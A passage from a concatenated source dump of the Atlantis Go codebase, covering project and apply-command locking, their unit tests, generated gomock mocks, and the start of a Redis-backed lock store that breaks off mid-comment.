*gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Unlock", reflect.TypeOf((*MockDatabase)(nil).Unlock), project, workspace) } // UnlockByPull mocks base method. func (m *MockDatabase) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "UnlockByPull", repoFullName, pullNum) ret0, _ := ret[0].([]models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // UnlockByPull indicates an expected call of UnlockByPull. func (mr *MockDatabaseMockRecorder) UnlockByPull(repoFullName, pullNum any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UnlockByPull", reflect.TypeOf((*MockDatabase)(nil).UnlockByPull), repoFullName, pullNum) } // UnlockCommand mocks base method. func (m *MockDatabase) UnlockCommand(cmdName command.Name) error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "UnlockCommand", cmdName) ret0, _ := ret[0].(error) return ret0 } // UnlockCommand indicates an expected call of UnlockCommand. func (mr *MockDatabaseMockRecorder) UnlockCommand(cmdName any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UnlockCommand", reflect.TypeOf((*MockDatabase)(nil).UnlockCommand), cmdName) } // UpdateProjectStatus mocks base method. func (m *MockDatabase) UpdateProjectStatus(pull models.PullRequest, workspace, repoRelDir string, newStatus models.ProjectPlanStatus) error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "UpdateProjectStatus", pull, workspace, repoRelDir, newStatus) ret0, _ := ret[0].(error) return ret0 } // UpdateProjectStatus indicates an expected call of UpdateProjectStatus. func (mr *MockDatabaseMockRecorder) UpdateProjectStatus(pull, workspace, repoRelDir, newStatus any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UpdateProjectStatus", reflect.TypeOf((*MockDatabase)(nil).UpdateProjectStatus), pull, workspace, repoRelDir, newStatus) } // UpdatePullWithResults mocks base method. func (m *MockDatabase) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "UpdatePullWithResults", pull, newResults) ret0, _ := ret[0].(models.PullStatus) ret1, _ := ret[1].(error) return ret0, ret1 } // UpdatePullWithResults indicates an expected call of UpdatePullWithResults. func (mr *MockDatabaseMockRecorder) UpdatePullWithResults(pull, newResults any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UpdatePullWithResults", reflect.TypeOf((*MockDatabase)(nil).UpdatePullWithResults), pull, newResults) } ================================================ FILE: server/core/locking/apply_locking.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package locking import ( "errors" "time" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/events/command" ) //go:generate mockgen -package mocks -destination mocks/mock_apply_lock_checker.go . ApplyLockChecker // ApplyLockChecker is an implementation of the global apply lock retrieval. // It returns an object that contains information about apply locks status. type ApplyLockChecker interface { CheckApplyLock() (ApplyCommandLock, error) } //go:generate mockgen -package mocks -destination mocks/mock_apply_locker.go . ApplyLocker // ApplyLocker interface that manages locks for apply command runner type ApplyLocker interface { // LockApply creates a lock for ApplyCommand if lock already exists it will // return existing lock without any changes LockApply() (ApplyCommandLock, error) // UnlockApply deletes apply lock created by LockApply if present, otherwise // it is a no-op UnlockApply() error ApplyLockChecker } // ApplyCommandLock contains information about apply command lock status. type ApplyCommandLock struct { // Locked is true is when apply commands are locked // Either by using omitting apply from AllowCommands or creating a global ApplyCommandLock // DisableApply lock take precedence when set Locked bool GlobalApplyLockEnabled bool Time time.Time Failure string } type ApplyClient struct { database db.Database disableApply bool disableGlobalApplyLock bool } func NewApplyClient(database db.Database, disableApply bool, disableGlobalApplyLock bool) ApplyLocker { return &ApplyClient{ database: database, disableApply: disableApply, disableGlobalApplyLock: disableGlobalApplyLock, } } // LockApply acquires global apply lock. // DisableApply takes precedence to any existing locks, if it is set to true // this function returns an error func (c *ApplyClient) LockApply() (ApplyCommandLock, error) { response := ApplyCommandLock{} if c.disableApply { return response, errors.New("apply is omitted from AllowCommands; Apply commands are locked globally until flag is updated") } applyCmdLock, err := c.database.LockCommand(command.Apply, time.Now()) if err != nil { return response, err } if applyCmdLock != nil { response.Locked = true response.Time = applyCmdLock.LockTime() } return response, nil } // UnlockApply releases a global apply lock. // DisableApply takes precedence to any existing locks, if it is set to true // this function returns an error func (c *ApplyClient) UnlockApply() error { if c.disableApply { return errors.New("apply commands are disabled until AllowCommands flag is updated") } err := c.database.UnlockCommand(command.Apply) if err != nil { return err } return nil } // CheckApplyLock retrieves an apply command lock if present. // If DisableApply is set it will always return a lock. func (c *ApplyClient) CheckApplyLock() (ApplyCommandLock, error) { response := ApplyCommandLock{ GlobalApplyLockEnabled: true, } if c.disableApply { return ApplyCommandLock{ Locked: true, }, nil } applyCmdLock, err := c.database.CheckCommandLock(command.Apply) if err != nil { return response, err } if applyCmdLock != nil { response.Locked = true response.Time = applyCmdLock.LockTime() } if c.disableGlobalApplyLock { response.GlobalApplyLockEnabled = false } return response, nil } ================================================ FILE: server/core/locking/locking.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package locking handles locking projects when they have in-progress runs. package locking import ( "errors" "regexp" "time" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/events/models" ) // TryLockResponse results from an attempted lock. type TryLockResponse struct { // LockAcquired is true if the lock was acquired from this call. LockAcquired bool // CurrLock is what project is currently holding the lock. CurrLock models.ProjectLock // LockKey is an identified by which to lookup and delete this lock. LockKey string } // Client is used to perform locking actions. type Client struct { database db.Database } //go:generate mockgen -package mocks -destination mocks/mock_locker.go . Locker type Locker interface { TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) Unlock(key string) (*models.ProjectLock, error) List() (map[string]models.ProjectLock, error) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) GetLock(key string) (*models.ProjectLock, error) } // NewClient returns a new locking client. func NewClient(database db.Database) *Client { return &Client{ database: database, } } // keyRegex matches and captures {repoFullName}/{path}/{workspace}/{projectName} where path can have multiple /'s in it. var keyRegex = regexp.MustCompile(`^(.*?\/.*?)\/(.*)\/(.*)\/(.*)$`) // TryLock attempts to acquire a lock to a project and workspace. func (c *Client) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) { lock := models.ProjectLock{ Workspace: workspace, Time: time.Now().Local(), Project: p, User: user, Pull: pull, } lockAcquired, currLock, err := c.database.TryLock(lock) if err != nil { return TryLockResponse{}, err } return TryLockResponse{lockAcquired, currLock, c.key(p, workspace)}, nil } // Unlock attempts to unlock a project and workspace. If successful, // a pointer to the now deleted lock will be returned. Else, that // pointer will be nil. An error will only be returned if there was // an error deleting the lock (i.e. not if there was no lock). func (c *Client) Unlock(key string) (*models.ProjectLock, error) { project, workspace, err := c.lockKeyToProjectWorkspace(key) if err != nil { return nil, err } return c.database.Unlock(project, workspace) } // List returns a map of all locks with their lock key as the map key. // The lock key can be used in GetLock() and Unlock(). func (c *Client) List() (map[string]models.ProjectLock, error) { m := make(map[string]models.ProjectLock) locks, err := c.database.List() if err != nil { return m, err } for _, lock := range locks { m[c.key(lock.Project, lock.Workspace)] = lock } return m, nil } // UnlockByPull deletes all locks associated with that pull request. func (c *Client) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { return c.database.UnlockByPull(repoFullName, pullNum) } // GetLock attempts to get the lock stored at key. If successful, // a pointer to the lock will be returned. Else, the pointer will be nil. // An error will only be returned if there was an error getting the lock // (i.e. not if there was no lock). func (c *Client) GetLock(key string) (*models.ProjectLock, error) { project, workspace, err := c.lockKeyToProjectWorkspace(key) if err != nil { return nil, err } projectLock, err := c.database.GetLock(project, workspace) if err != nil { return nil, err } return projectLock, nil } func (c *Client) key(p models.Project, workspace string) string { return models.GenerateLockKey(p, workspace) } func IsCurrentLocking(key string) ([]string, error) { matches := keyRegex.FindStringSubmatch(key) if len(matches) != 5 { return []string{}, errors.New("invalid key format") } return matches, nil } func (c *Client) lockKeyToProjectWorkspace(key string) (models.Project, string, error) { matches, err := IsCurrentLocking(key) if err != nil { return models.Project{}, "", err } return models.Project{RepoFullName: matches[1], Path: matches[2], ProjectName: matches[4]}, matches[3], nil } type NoOpLocker struct{} // NewNoOpLocker returns a new lno operation lockingclient. func NewNoOpLocker() *NoOpLocker { return &NoOpLocker{} } // TryLock attempts to acquire a lock to a project and workspace. func (c *NoOpLocker) TryLock(p models.Project, workspace string, _ models.PullRequest, _ models.User) (TryLockResponse, error) { return TryLockResponse{true, models.ProjectLock{}, c.key(p, workspace)}, nil } // Unlock attempts to unlock a project and workspace. If successful, // a pointer to the now deleted lock will be returned. Else, that // pointer will be nil. An error will only be returned if there was // an error deleting the lock (i.e. not if there was no lock). func (c *NoOpLocker) Unlock(_ string) (*models.ProjectLock, error) { return &models.ProjectLock{}, nil } // List returns a map of all locks with their lock key as the map key. // The lock key can be used in GetLock() and Unlock(). func (c *NoOpLocker) List() (map[string]models.ProjectLock, error) { m := make(map[string]models.ProjectLock) return m, nil } // UnlockByPull deletes all locks associated with that pull request. func (c *NoOpLocker) UnlockByPull(_ string, _ int) ([]models.ProjectLock, error) { return []models.ProjectLock{}, nil } // GetLock attempts to get the lock stored at key. If successful, // a pointer to the lock will be returned. Else, the pointer will be nil. // An error will only be returned if there was an error getting the lock // (i.e. not if there was no lock). func (c *NoOpLocker) GetLock(_ string) (*models.ProjectLock, error) { return nil, nil } func (c *NoOpLocker) key(p models.Project, workspace string) string { return models.GenerateLockKey(p, workspace) } ================================================ FILE: server/core/locking/locking_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package locking_test import ( "errors" "testing" "time" "strings" "github.com/runatlantis/atlantis/server/core/db/mocks" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) var project = models.NewProject("owner/repo", "path", "projectName") var workspace = "workspace" var pull = models.PullRequest{} var user = models.User{} var errExpected = errors.New("err") var timeNow = time.Now().Local() var pl = models.ProjectLock{Project: project, Pull: pull, User: user, Workspace: workspace, Time: timeNow} func TestTryLock_Err(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().TryLock(gomock.Any()).Return(false, models.ProjectLock{}, errExpected) t.Log("when the database returns an error, TryLock should return that error") l := locking.NewClient(database) _, err := l.TryLock(project, workspace, pull, user) Equals(t, errExpected, err) } func TestTryLock_Success(t *testing.T) { ctrl := gomock.NewController(t) currLock := models.ProjectLock{} database := mocks.NewMockDatabase(ctrl) database.EXPECT().TryLock(gomock.Any()).Return(true, currLock, nil) l := locking.NewClient(database) r, err := l.TryLock(project, workspace, pull, user) Ok(t, err) Equals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: "owner/repo/path/workspace/projectName"}, r) } func TestUnlock_InvalidKey(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) l := locking.NewClient(database) _, err := l.Unlock("invalidkey") Assert(t, err != nil, "expected err") Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected err") } func TestUnlock_Err(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().Unlock(project, "workspace").Return(nil, errExpected).Times(1) l := locking.NewClient(database) _, err := l.Unlock("owner/repo/path/workspace/projectName") Equals(t, errExpected, err) } func TestUnlock(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().Unlock(gomock.Any(), gomock.Any()).Return(&pl, nil) l := locking.NewClient(database) lock, err := l.Unlock("owner/repo/path/workspace/projectName") Ok(t, err) Equals(t, &pl, lock) } func TestList_Err(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().List().Return(nil, errExpected) l := locking.NewClient(database) _, err := l.List() Equals(t, errExpected, err) } func TestList(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().List().Return([]models.ProjectLock{pl}, nil) l := locking.NewClient(database) list, err := l.List() Ok(t, err) Equals(t, map[string]models.ProjectLock{ "owner/repo/path/workspace/projectName": pl, }, list) } func TestUnlockByPull(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().UnlockByPull("owner/repo", 1).Return(nil, errExpected) l := locking.NewClient(database) _, err := l.UnlockByPull("owner/repo", 1) Equals(t, errExpected, err) } func TestGetLock_BadKey(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) l := locking.NewClient(database) _, err := l.GetLock("invalidkey") Assert(t, err != nil, "err should not be nil") Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected different err") } func TestGetLock_Err(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().GetLock(project, workspace).Return(nil, errExpected) l := locking.NewClient(database) _, err := l.GetLock("owner/repo/path/workspace/projectName") Equals(t, errExpected, err) } func TestGetLock(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().GetLock(project, workspace).Return(&pl, nil) l := locking.NewClient(database) lock, err := l.GetLock("owner/repo/path/workspace/projectName") Ok(t, err) Equals(t, &pl, lock) } func TestTryLock_NoOpLocker(t *testing.T) { currLock := models.ProjectLock{} l := locking.NewNoOpLocker() r, err := l.TryLock(project, workspace, pull, user) Ok(t, err) Equals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: "owner/repo/path/workspace/projectName"}, r) } func TestUnlock_NoOpLocker(t *testing.T) { l := locking.NewNoOpLocker() lock, err := l.Unlock("owner/repo/path/workspace/projectName") Ok(t, err) Equals(t, &models.ProjectLock{}, lock) } func TestList_NoOpLocker(t *testing.T) { l := locking.NewNoOpLocker() list, err := l.List() Ok(t, err) Equals(t, map[string]models.ProjectLock{}, list) } func TestUnlockByPull_NoOpLocker(t *testing.T) { l := locking.NewNoOpLocker() _, err := l.UnlockByPull("owner/repo", 1) Ok(t, err) } func TestGetLock_NoOpLocker(t *testing.T) { l := locking.NewNoOpLocker() lock, err := l.GetLock("owner/repo/path/workspace/projectName") Ok(t, err) var expected *models.ProjectLock Equals(t, expected, lock) } func TestApplyLocker(t *testing.T) { applyLock := &command.Lock{ CommandName: command.Apply, LockMetadata: command.LockMetadata{ UnixTime: time.Now().Unix(), }, } t.Run("LockApply", func(t *testing.T) { t.Run("database errors", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().LockCommand(gomock.Any(), gomock.Any()).Return(nil, errExpected) l := locking.NewApplyClient(database, false, false) lock, err := l.LockApply() Equals(t, errExpected, err) Assert(t, !lock.Locked, "exp false") }) t.Run("can't lock if apply is omitted from userConfig.AllowCommands", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) l := locking.NewApplyClient(database, true, false) _, err := l.LockApply() ErrEquals(t, "apply is omitted from AllowCommands; Apply commands are locked globally until flag is updated", err) // gomock will fail if LockCommand is called unexpectedly (no EXPECT set) }) t.Run("succeeds", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().LockCommand(gomock.Any(), gomock.Any()).Return(applyLock, nil) l := locking.NewApplyClient(database, false, false) lock, _ := l.LockApply() Assert(t, lock.Locked, "exp lock present") }) }) t.Run("UnlockApply", func(t *testing.T) { t.Run("database fails", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().UnlockCommand(gomock.Any()).Return(errExpected) l := locking.NewApplyClient(database, false, false) err := l.UnlockApply() Equals(t, errExpected, err) }) t.Run("can't lock if apply is omitted from userConfig.AllowCommands", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) l := locking.NewApplyClient(database, true, false) err := l.UnlockApply() ErrEquals(t, "apply commands are disabled until AllowCommands flag is updated", err) // gomock will fail if UnlockCommand is called unexpectedly (no EXPECT set) }) t.Run("succeeds", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().UnlockCommand(gomock.Any()).Return(nil) l := locking.NewApplyClient(database, false, false) err := l.UnlockApply() Equals(t, nil, err) }) }) t.Run("CheckApplyLock", func(t *testing.T) { t.Run("fails", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().CheckCommandLock(gomock.Any()).Return(nil, errExpected) l := locking.NewApplyClient(database, false, false) lock, err := l.CheckApplyLock() Equals(t, errExpected, err) Equals(t, lock.Locked, false) }) t.Run("when apply is not in AllowCommands always return a lock", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) l := locking.NewApplyClient(database, true, false) lock, err := l.CheckApplyLock() Ok(t, err) Equals(t, lock.Locked, true) // gomock will fail if CheckCommandLock is called unexpectedly (no EXPECT set) }) t.Run("UnlockCommand succeeds", func(t *testing.T) { ctrl := gomock.NewController(t) database := mocks.NewMockDatabase(ctrl) database.EXPECT().CheckCommandLock(gomock.Any()).Return(applyLock, nil) l := locking.NewApplyClient(database, false, false) lock, err := l.CheckApplyLock() Equals(t, nil, err) Assert(t, lock.Locked, "exp lock present") }) }) } func TestIsCurrentLocking_ValidKey(t *testing.T) { t.Log("IsCurrentLocking should succeed with valid key format") key := "owner/repo/path/workspace/projectName" matches, err := locking.IsCurrentLocking(key) Ok(t, err) Equals(t, 5, len(matches)) Equals(t, "owner/repo", matches[1]) Equals(t, "path", matches[2]) Equals(t, "workspace", matches[3]) Equals(t, "projectName", matches[4]) } func TestIsCurrentLocking_ValidKeyWithNestedPath(t *testing.T) { t.Log("IsCurrentLocking should succeed with nested path") key := "owner/repo/parent/child/path/workspace/projectName" matches, err := locking.IsCurrentLocking(key) Ok(t, err) Equals(t, 5, len(matches)) Equals(t, "owner/repo", matches[1]) Equals(t, "parent/child/path", matches[2]) Equals(t, "workspace", matches[3]) Equals(t, "projectName", matches[4]) } func TestIsCurrentLocking_InvalidKeyOldFormat(t *testing.T) { t.Log("IsCurrentLocking should fail with old format key (3 parts)") key := "owner/repo/path/workspace" _, err := locking.IsCurrentLocking(key) Assert(t, err != nil, "expected error for old format") Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected invalid key format error") } func TestIsCurrentLocking_InvalidKeySinglePart(t *testing.T) { t.Log("IsCurrentLocking should fail with single part key") key := "invalidkey" _, err := locking.IsCurrentLocking(key) Assert(t, err != nil, "expected error for invalid key") Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected invalid key format error") } func TestIsCurrentLocking_EmptyKey(t *testing.T) { t.Log("IsCurrentLocking should fail with empty key") key := "" _, err := locking.IsCurrentLocking(key) Assert(t, err != nil, "expected error for empty key") Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected invalid key format error") } ================================================ FILE: server/core/locking/mocks/mock_apply_lock_checker.go ================================================ // Code generated by MockGen. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: ApplyLockChecker) // // Generated by this command: // // mockgen -package mocks -destination mocks/mock_apply_lock_checker.go . ApplyLockChecker // // Package mocks is a generated GoMock package. package mocks import ( reflect "reflect" locking "github.com/runatlantis/atlantis/server/core/locking" gomock "go.uber.org/mock/gomock" ) // MockApplyLockChecker is a mock of ApplyLockChecker interface. type MockApplyLockChecker struct { ctrl *gomock.Controller recorder *MockApplyLockCheckerMockRecorder isgomock struct{} } // MockApplyLockCheckerMockRecorder is the mock recorder for MockApplyLockChecker. type MockApplyLockCheckerMockRecorder struct { mock *MockApplyLockChecker } // NewMockApplyLockChecker creates a new mock instance. func NewMockApplyLockChecker(ctrl *gomock.Controller) *MockApplyLockChecker { mock := &MockApplyLockChecker{ctrl: ctrl} mock.recorder = &MockApplyLockCheckerMockRecorder{mock} return mock } // EXPECT returns an object that allows the caller to indicate expected use. func (m *MockApplyLockChecker) EXPECT() *MockApplyLockCheckerMockRecorder { return m.recorder } // CheckApplyLock mocks base method. func (m *MockApplyLockChecker) CheckApplyLock() (locking.ApplyCommandLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "CheckApplyLock") ret0, _ := ret[0].(locking.ApplyCommandLock) ret1, _ := ret[1].(error) return ret0, ret1 } // CheckApplyLock indicates an expected call of CheckApplyLock. func (mr *MockApplyLockCheckerMockRecorder) CheckApplyLock() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "CheckApplyLock", reflect.TypeOf((*MockApplyLockChecker)(nil).CheckApplyLock)) } ================================================ FILE: server/core/locking/mocks/mock_apply_locker.go ================================================ // Code generated by MockGen. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: ApplyLocker) // // Generated by this command: // // mockgen -package mocks -destination mocks/mock_apply_locker.go . ApplyLocker // // Package mocks is a generated GoMock package. package mocks import ( reflect "reflect" locking "github.com/runatlantis/atlantis/server/core/locking" gomock "go.uber.org/mock/gomock" ) // MockApplyLocker is a mock of ApplyLocker interface. type MockApplyLocker struct { ctrl *gomock.Controller recorder *MockApplyLockerMockRecorder isgomock struct{} } // MockApplyLockerMockRecorder is the mock recorder for MockApplyLocker. type MockApplyLockerMockRecorder struct { mock *MockApplyLocker } // NewMockApplyLocker creates a new mock instance. func NewMockApplyLocker(ctrl *gomock.Controller) *MockApplyLocker { mock := &MockApplyLocker{ctrl: ctrl} mock.recorder = &MockApplyLockerMockRecorder{mock} return mock } // EXPECT returns an object that allows the caller to indicate expected use. func (m *MockApplyLocker) EXPECT() *MockApplyLockerMockRecorder { return m.recorder } // CheckApplyLock mocks base method. func (m *MockApplyLocker) CheckApplyLock() (locking.ApplyCommandLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "CheckApplyLock") ret0, _ := ret[0].(locking.ApplyCommandLock) ret1, _ := ret[1].(error) return ret0, ret1 } // CheckApplyLock indicates an expected call of CheckApplyLock. func (mr *MockApplyLockerMockRecorder) CheckApplyLock() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "CheckApplyLock", reflect.TypeOf((*MockApplyLocker)(nil).CheckApplyLock)) } // LockApply mocks base method. func (m *MockApplyLocker) LockApply() (locking.ApplyCommandLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "LockApply") ret0, _ := ret[0].(locking.ApplyCommandLock) ret1, _ := ret[1].(error) return ret0, ret1 } // LockApply indicates an expected call of LockApply. func (mr *MockApplyLockerMockRecorder) LockApply() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "LockApply", reflect.TypeOf((*MockApplyLocker)(nil).LockApply)) } // UnlockApply mocks base method. func (m *MockApplyLocker) UnlockApply() error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "UnlockApply") ret0, _ := ret[0].(error) return ret0 } // UnlockApply indicates an expected call of UnlockApply. func (mr *MockApplyLockerMockRecorder) UnlockApply() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UnlockApply", reflect.TypeOf((*MockApplyLocker)(nil).UnlockApply)) } ================================================ FILE: server/core/locking/mocks/mock_locker.go ================================================ // Code generated by MockGen. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: Locker) // // Generated by this command: // // mockgen -package mocks -destination mocks/mock_locker.go . Locker // // Package mocks is a generated GoMock package. package mocks import ( reflect "reflect" locking "github.com/runatlantis/atlantis/server/core/locking" models "github.com/runatlantis/atlantis/server/events/models" gomock "go.uber.org/mock/gomock" ) // MockLocker is a mock of Locker interface. type MockLocker struct { ctrl *gomock.Controller recorder *MockLockerMockRecorder isgomock struct{} } // MockLockerMockRecorder is the mock recorder for MockLocker. type MockLockerMockRecorder struct { mock *MockLocker } // NewMockLocker creates a new mock instance. func NewMockLocker(ctrl *gomock.Controller) *MockLocker { mock := &MockLocker{ctrl: ctrl} mock.recorder = &MockLockerMockRecorder{mock} return mock } // EXPECT returns an object that allows the caller to indicate expected use. func (m *MockLocker) EXPECT() *MockLockerMockRecorder { return m.recorder } // GetLock mocks base method. func (m *MockLocker) GetLock(key string) (*models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "GetLock", key) ret0, _ := ret[0].(*models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // GetLock indicates an expected call of GetLock. func (mr *MockLockerMockRecorder) GetLock(key any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetLock", reflect.TypeOf((*MockLocker)(nil).GetLock), key) } // List mocks base method. func (m *MockLocker) List() (map[string]models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "List") ret0, _ := ret[0].(map[string]models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // List indicates an expected call of List. func (mr *MockLockerMockRecorder) List() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "List", reflect.TypeOf((*MockLocker)(nil).List)) } // TryLock mocks base method. func (m *MockLocker) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (locking.TryLockResponse, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "TryLock", p, workspace, pull, user) ret0, _ := ret[0].(locking.TryLockResponse) ret1, _ := ret[1].(error) return ret0, ret1 } // TryLock indicates an expected call of TryLock. func (mr *MockLockerMockRecorder) TryLock(p, workspace, pull, user any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "TryLock", reflect.TypeOf((*MockLocker)(nil).TryLock), p, workspace, pull, user) } // Unlock mocks base method. func (m *MockLocker) Unlock(key string) (*models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "Unlock", key) ret0, _ := ret[0].(*models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // Unlock indicates an expected call of Unlock. func (mr *MockLockerMockRecorder) Unlock(key any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Unlock", reflect.TypeOf((*MockLocker)(nil).Unlock), key) } // UnlockByPull mocks base method. func (m *MockLocker) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "UnlockByPull", repoFullName, pullNum) ret0, _ := ret[0].([]models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // UnlockByPull indicates an expected call of UnlockByPull. func (mr *MockLockerMockRecorder) UnlockByPull(repoFullName, pullNum any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UnlockByPull", reflect.TypeOf((*MockLocker)(nil).UnlockByPull), repoFullName, pullNum) } ================================================ FILE: server/core/redis/redis.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package redis handles our remote database layer. package redis import ( "context" "crypto/tls" "encoding/json" "fmt" "strings" "time" "github.com/pkg/errors" "github.com/redis/go-redis/v9" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) var ctx = context.Background() // Redis is a database using Redis 6 type RedisDB struct { // nolint: revive client *redis.Client } const ( pullKeySeparator = "::" ) func New(hostname string, port int, password string, tlsEnabled bool, insecureSkipVerify bool, db int) (*RedisDB, error) { var rdb *redis.Client var tlsConfig *tls.Config if tlsEnabled { tlsConfig = &tls.Config{ MinVersion: tls.VersionTLS12, InsecureSkipVerify: insecureSkipVerify, //nolint:gosec // In some cases, users may want to use this at their own caution } } rdb = redis.NewClient(&redis.Options{ Addr: fmt.Sprintf("%s:%d", hostname, port), Password: password, DB: db, TLSConfig: tlsConfig, }) // Check if connection is valid err := rdb.Ping(ctx).Err() if err != nil { return nil, fmt.Errorf("failed to connect to redis instance at %s:%d: %w", hostname, port, err) } // Migrate old lock keys to new format. // Old format: pr/{repoFullName}/{path}/{workspace} // New format: pr/{repoFullName}/{path}/{workspace}/{projectName} // We scan all keys and for those that don't match the new format, // we read their value, create a new key with the new format and // delete the old key. allKeys := rdb.Keys(ctx, "pr/*") for _, oldKey := range allKeys.Val() { // Remove 